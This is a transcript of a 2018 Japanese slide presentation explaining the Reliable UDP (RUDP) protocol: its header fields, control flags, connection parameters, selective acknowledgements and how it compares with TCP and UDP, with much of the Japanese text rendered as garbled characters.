Upgrade to Pro — share decks privately, control downloads, hide ads and more …

詳解 Reliable UDP

Fadis
November 08, 2018

詳解 Reliable UDP

謎の伝送制御プロトコルRUDPの詳細について解説します
これは2018年11月10日に行われた Kernel/VM/探検隊@北陸 part 4 での発表資料です
サンプルコード: https://github.com/Fadis/rudp

Fadis

November 08, 2018
Tweet

More Decks by Fadis

Other Decks in Programming

Transcript

  1. TCP ૹΓ͍ͨσʔλ36όΠτʹ 32όΠτͷϔομ͕෇͍ͨΓ͢Δ 23:18:15.313811 IP 192.168.2.1.36260 > 192.168.2.2.ssh: Flags [P.],

    seq 1060218459:1060218495, ack 35125382, win 65535, options [nop,nop,TS val 3309098802 ecr 4292799263], length 36 0x0000: 4510 0058 7677 4000 4006 3ec5 c0a8 0201 E..Xvw@.@.>..... 0x0010: c0a8 0202 8da4 0016 3f31 a65b 0217 f886 ........?1.[.... 0x0020: 8018 ffff 859e 0000 0101 080a c53c d732 .............<.2 0x0030: ffde eb1f d28c d156 702a 557f 7b7c 5ebd .......Vp*U.{|^. 0x0040: 5303 9853 5c86 6128 8fc5 ee52 99d7 5eb6 S..S\.a(...R..^. 0x0050: 3672 5089 12c4 8cae 6rP..... IPϔομ TCPϔομ ૹΓ͍ͨσʔλ TCP͸ϔομ͕Ͱ͔͍
  2. TCP RFC793 RFC1071 RFC1122 RFC8200 RFC2873 RFC5681 RFC6093 RFC6298 RFC6691

    جຊతͳػೳ ࣮૷͕ ڧ͘ਪ঑͞ΕΔ֦ு RFC2675 RFC7323 RFC3168 RFC3390 RFC3465 RFC6633 RFC2018 RFC3042 RFC6582 RFC6675 RFC2883 RFC4015 RFC5682 RFC1191 RFC1981 RFC4821 RFC1144 RFC6846 RFC4953 RFC5461 RFC4987 RFC5925 RFC5926 RFC5927 RFC5961 RFC6528 ࣮ݧతͳ֦ு RFC2140 RFC3124 RFC7413 RFC2861 RFC3540 RFC3649 RFC3742 RFC4782
  3. ͋·Γʹ΋ࢀর͢΂͖RFC͕ଟ͍ͷͰ TCPʹ͍ͭͯௐ΂Δ࣌ͲͷRFCΛಡΊ͹ྑ͍͔ͷϦετ͕ RFCʹͳͬͨ RFC7414 TCP͸࢓༷΋Ͱ͔͍ ࣮ݧతͳ֦ு RFC2140 RFC3124 RFC7413 RFC2861

    RFC3540 RFC3649 RFC3742 RFC4782 RFC5562 RFC5690 RFC6928 RFC5827 RFC6069 RFC6937 RFC3522 RFC3708 RFC4653 RFC5482 RFC6356 RFC6824 RFC2780 RFC4727 RFC6335 RFC6994
  4. UDP RFC768 RFC1071 RFC1122 RFC8200 جຊతͳػೳ RFC2675 ֦ு γϯϓϧͳن֨ ͨͩ͠૬खʹσʔλ͕ಧ͍͍ͯΔ͔͸Θ͔Βͳ͍

    RFC768 UDPͷجຊతͳػೳʹ͍ͭͯ RFC1071 νΣοΫαϜͷܭࢉํ๏
 RFC1122 ࣮૷ʹཁٻ͞ΕΔػೳͷ໌֬Խ
 RFC8200 IPv6ʹ͓͚Δpseudo-headerͷѻ͍Λ௥Ճ
 RFC2675 jumbogram࢖༻࣌ͷσʔλάϥϜ௕ͷѻ͍Λ௥Ճ
  5. Reliable UDP ૹ৴ݩϙʔτ Ѽઌϙʔτ σʔλάϥϜ௕ νΣοΫαϜ ੍ޚϑϥά ϔομ௕ γʔέϯε൪߸ ֬ೝԠ౴൪߸

    Φϓγϣϯ Մม௕ νΣοΫαϜ 0 16 32 UDPϔομ RUDPϔομ Plan9͕9PΛ৐ͤΔҝʹੜΈग़ͨ͠৴པੑͷ͋ΔUDP RFCʹ΋υϥϑτ্͕͕͍ͬͯΔ͚Ͳυϥϑτཹ·Γ
  6. Reliable UDPͷ੍ޚϑϥά 4 : / " $ , & "

    , 3 4 5 / 6
 - $ ) , 5 $ 4 ༧ ໿ ͜Εͱ ͜Εͱ ͜Εͱ ͜Εͱ ͜Ε͸ഉଞ ੍ޚϑϥάͰηάϝϯτͷ໾ׂΛද͢ͷ͸TCPͱಉ͡ ੍ͨͩ͠ޚϑϥάͷ಺༁͸TCPͱ͸ҟͳΔ
  7. 4 : / " $ , & " , 3

    4 5 / 6
 - $ ) , 5 $ 4 ༧ ໿ ηογϣϯͷ։࢝ 4:/         ηογϣϯͷ։࢝ 4:/ "$,         σʔλͷૹ৴݉֬ೝԠ౴ "$,        બ୒త֬ೝԠ౴ &",         ηογϣϯͷऴྃ 345        ϋʔτϏʔτ /6-         ΞυϨεͱίωΫγϣϯ*%ͷ࠶ׂΓ౰ͯ 5$4       
  8. ACK 0x40(੍ޚϑϥά) 6(ϔομ௕) γʔέϯε൪߸ ֬ೝԠ౴൪߸ νΣοΫαϜ σʔλ(Մม௕) 0 16 32

    ACKηάϝϯτͷશ௕͕ϔομ௕ΑΓ௕͍৔߹ ͦΕ͸ϖΠϩʔυͱΈͳ͞ΕΔ
  9. σʔλ11ૹΔͰ σʔλ85ૹΔͰ(11Έͨ) σʔλ12ૹΔͰ(85Έͨ) 12Έͨ … ACK ֬ೝԠ౴൪߸͸ σʔλૹ৴࣌ʹ ͍ͭͰʹૹΒΕΔ Ұఆ࣌ؒૹΔ෺͕

    ແ͔ͬͨ৔߹ ۭͷACK͕ૹΒΕΔ ࠓ͙͢ૹΔ΂͖෺͕ແ͍ ͪΐͬͱ଴ͬͯΈΔ͔ ଴͚ͬͨͲૹΔ෺͕ͳ͍ ֬ೝԠ౴൪߸͚ͩฦͦ͏
  10. 0x40(੍ޚϑϥά) 6(ϔομ௕) γʔέϯε൪߸ ֬ೝԠ౴൪߸ νΣοΫαϜ 0 16 32 ACK 8bit

    8bit TCPͷγʔέϯε൪߸͸32bit͕ͩ RUDPͷγʔέϯε൪߸͸8bit
  11. 0x40(੍ޚϑϥά) 6(ϔομ௕) γʔέϯε൪߸ ֬ೝԠ౴൪߸ νΣοΫαϜ 0 16 32 ACK ੍ޚϑϥάͷCHK͕

    1ͷ৔߹σʔλΛؚΊͨνΣοΫαϜΛ 0ͷ৔߹ϔομ͚ͩͷνΣοΫαϜΛೖΕΔ ܭࢉํ๏͸ RFC1071 Computing the Internet Checksum (IPϔομͱ͔ʹ΋࢖ΘΕͯΔ΍ͭ)
  12. ACK ACK 6 γʔέϯε൪߸ ֬ೝԠ౴൪߸ 0x0000 σʔλ ACK CHK 6

    γʔέϯε൪߸ ֬ೝԠ౴൪߸ 0x0000 σʔλ ͋Δ࣌ ͳ͍࣌ ੍ޚϑϥάͷCHK͕ 1ͷ৔߹σʔλΛؚΊͨνΣοΫαϜΛ 0ͷ৔߹ϔομ͚ͩͷνΣοΫαϜΛٻΊΔ
  13. SYN 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά

    ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32
  14. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ SYN 0 16 32 γʔέϯε൪߸ͷॳظ஋ΛϥϯμϜͰܾΊͯૹΔ
  15. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ SYN 0 16 32 ֬ೝԠ౴Λ଴ͨͣʹૹͬͯྑ͍࠷େηάϝϯτ਺ TCPͰݴ͏΢Οϯυ΢αΠζ RUDPʹ΢Οϯυ΢੍ޚ͸ແ͍ ͜͜Ͱࢦఆ͞Εͨ΢Οϯυ΢αΠζ͕ηογϣϯΛด͡Δ·Ͱ࢖ΘΕΔ
  16. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ SYN 0 16 32 8bit Q. ࠷େ255ηάϝϯτ·Ͱ͔͠ઃఆͰ͖ͳ͍Α͏͕ͩେৎ෉͔ A. ͋·Γେৎ෉͡Όͳ͍͚Ͳγʔέϯε൪߸͕8bit͔͠ͳ͍͔Β ͦΕΑΓେ͖͍΢Οϯυ΢αΠζΛೝΊΔͱ γʔέϯε൪߸ͷॏෳ͕ى͜Δ
  17. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ SYN 0 16 32 1ηάϝϯτ͋ͨΓͷ࠷େαΠζ Ұ౓ʹ65535όΠτ ·͔͡Α
  18. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ SYN 0 16 32 ૹͬͨσʔλʹର͢Δ֬ೝԠ౴͕͜͜Ͱࢦఆͨ࣌ؒ͠ ฦͬͯ͜ͳ͍৔߹࠶ૹΛߦ͏
  19. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32 ϋʔτϏʔτ(RUDP༻ޠͰNullηάϝϯτ)ͷૹ৴ִؒ ੜ͖ͱΔ͔ ੜ͖ͱΔͰ
  20. 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32 ηάϝϯτΛड͚औ͔ͬͯΒ͜ͷ࣌ؒૹ৴͢΂͖෺͕ແ͔ͬͨΒ ͙͢ʹૹΕΔ෺͕ͳͯ͘΋ACKΛ౤͛Δ
  21. όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ)

    ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ ௨৴ෆೳʹͳ͔ͬͯΒ ͜͜Ͱࢦఆ͞Εͨ࣌ؒͷ͏ͪʹ TCSηάϝϯτΛड͚औͬͨ৔߹ ঢ়ଶΛҾ͖ܧ͍Ͱ௨৴Λ࠶։͢Δ ࢲ͸ؼ͖ͬͯͨ ֮͑ͯΔͥ
  22. όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ)

    ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ ͜͜Ͱࢦఆͨ͠ճ਺ηάϝϯτΛ࠶ૹͯ͠΋ ૬ख͔Β֬ೝԠ౴͕ฦͬͯ͜ͳ͍৔߹ ௨৴ෆೳঢ়ଶͱ൑அ͢Δ ͓͓ηογϣϯʂ͠ΜͰ͠·͏ͱ͸ ҎԼུ ϐʔ
  23. όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ)

    ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ ྦྷੵ֬ೝԠ౴ͷ࠷େ਺ ड͚औ͚ͬͨͲ֬ೝԠ౴Λૹ͍ͬͯͳ͍ηάϝϯτͷ਺͕ ͜ͷ஋ʹୡͨ͠Β͙͢ʹૹΕΔσʔλ͕ͳͯ͘΋ACKΛ౤͛Δ
  24. ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ)

    ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ લʹདྷΔ͸ͣͷηάϝϯτ͕ಧ͍͍ͯͳͯ͘ड͚औΓΛ׬ྃͰ͖ͳ͍ηάϝϯτ͕ ͜͜Ͱࢦఆͨ͠਺ʹୡͨ͠Βબ୒త֬ೝԠ౴(EAK)Λ౤͛Δ        ͋Δ ͋Δ ͳ͍ ͋Δ ͋Δ ͳ͍ ͳ͍
  25. ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ)

    ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ ௨৴ෆೳঢ়ଶʹͳ͔ͬͯΒ ࣗಈͰ3wayϋϯυγΣΠΫΛ࠶ࢼߦͯ͠ྑ͍ճ਺
  26. ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖

    γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ ίωΫγϣϯࣝผࢠ TCSͰ ͲͷηογϣϯΛ෮׆ͤ͞Δ͔ Λࢦఆ͢Δͷʹ࢖͏ ࢲ͸ؼ͖ͬͯͨ ໭͖ͬͯͨΫϥΠΞϯτ͸ ιʔεΞυϨε͕มΘ͍ͬͯΔ͔΋͠Εͳ͍ ͓લ୭΍
  27. SYN+ACK 0xC0(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ ֬ೝԠ౴൪߸ όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά

    ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32
  28. 0xC0(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ ֬ೝԠ౴൪߸ όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32 negotiable parameter
  29. 0xC0(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ ֬ೝԠ౴൪߸ όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά ༧໿

    ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32 ௨৴ํ޲ݻ༗ͷύϥϝʔλ
  30. 0x10(੍ޚϑϥά) 6(ϔομαΠζ) γʔέϯε൪߸ ֬ೝԠ౴൪߸ νΣοΫαϜ RST 0 16 32 ηογϣϯΛऴྃ͢Δ

    ͜ͷηάϝϯτΛड͚औͬͨϗετ͸ ҎޙͦͷηογϣϯͰ৽نͷηάϝϯτΛૹͬͯ͸͍͚ͳ͍ (࠶ૹ͸OK)
  31. 0x60(੍ޚϑϥά) 6+n γʔέϯε൪߸ ֬ೝԠ౴൪߸ ड৴͚ͨ͠Ͳγʔέϯε֎ͩͬͨηάϝϯτͷ nݸͷγʔέϯε൪߸Λฒ΂Δ νΣοΫαϜ EAK 0 16

    32 લͷηάϝϯτ͕ಧ͍͍ͯͳ͍͚Ͳ ઌʹಧ͍ͯ͠·ͬͨηάϝϯτΛ௨஌͢Δ TCPͰ͸ બ୒త֬ೝԠ౴(Selective ACKnowledgment)ͱݺ͹Ε͍ͯΔ෺
  32. ACK͚ͩͰ͸ طʹड͚औ͍ͬͯΔ31ͱ32ͷ࠶ૹ͕ൃੜ͢Δ ͷड৴Ωϡʔ       

    ͋Δ ͋Δ ͳ͍ ͋Δ ͋Δ ͳ͍ ͳ͍ ֬ೝԠ౴൪߸͸29Λฦ͢͜ͱʹͳΔ
  33.        ͋Δ ͋Δ ͳ͍

    ͋Δ ͋Δ ͳ͍ ͳ͍ 29·Ͱ͸ड͚औͬͨ ͦΕΑΓઌ͕͋ΔͳΒ࠶ૹ͕ඞཁ Ͱ΋31ͱ32͸ड͚औͬͯΔ͔Β࠶ૹෆཁ ͜͏͍͏௨஌Λ͢Δͷ͕EAK
  34. 0x42(੍ޚϑϥά) 12 γʔέϯε൪߸ͷॳظ஋ ֬ೝԠ౴൪߸ γʔέϯε൪߸ิਖ਼ྔ ༧໿ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ TCS

